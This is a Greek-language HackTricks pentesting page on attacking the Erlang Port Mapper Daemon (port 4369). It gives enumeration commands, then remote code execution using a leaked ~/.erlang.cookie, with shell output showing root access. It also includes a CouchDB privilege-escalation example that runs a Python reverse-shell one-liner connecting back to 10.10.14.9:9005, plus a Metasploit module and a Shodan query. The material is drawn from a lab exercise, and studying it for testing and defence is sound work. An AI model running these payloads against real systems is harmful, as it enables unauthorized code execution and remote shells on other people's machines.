tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Info

Ο Erlang Port Mapper Daemon (epmd) λειτουργεί ως συντονιστής για κατανεμημένα παραδείγματα Erlang. Είναι υπεύθυνος για την αντιστοίχιση συμβολικών ονομάτων κόμβων σε διευθύνσεις μηχανών, διασφαλίζοντας ουσιαστικά ότι κάθε όνομα κόμβου σχετίζεται με μια συγκεκριμένη διεύθυνση. Αυτός ο ρόλος του epmd είναι κρίσιμος για την απρόσκοπτη αλληλεπίδραση και επικοινωνία μεταξύ διαφορετικών κόμβων Erlang σε ένα δίκτυο.

Default port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Αυτό χρησιμοποιείται από προεπιλογή σε εγκαταστάσεις RabbitMQ και CouchDB.

Αρίθμηση

Χειροκίνητα

bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Αυτόματη

bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

Αν μπορείτε να διαρρεύσετε το Authentication cookie θα είστε σε θέση να εκτελέσετε κώδικα στον υπολογιστή. Συνήθως, αυτό το cookie βρίσκεται στο ~/.erlang.cookie και δημιουργείται από το erlang κατά την πρώτη εκκίνηση. Αν δεν έχει τροποποιηθεί ή οριστεί χειροκίνητα, είναι μια τυχαία αλφαριθμητική συμβολοσειρά [A:Z] με μήκος 20 χαρακτήρων.

bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Περισσότερες πληροφορίες στο https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Ο συγγραφέας μοιράζεται επίσης ένα πρόγραμμα για να κάνετε brute force το cookie:

Τοπική Σύνδεση

Σε αυτή την περίπτωση θα εκμεταλλευτούμε το CouchDB για να κλιμακώσουμε τα δικαιώματα τοπικά:

bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Παράδειγμα που έχει ληφθεί από https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Μπορείτε να χρησιμοποιήσετε Canape HTB machine για να εξασκηθείτε στο πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.

Metasploit

bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "στη θύρα"

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks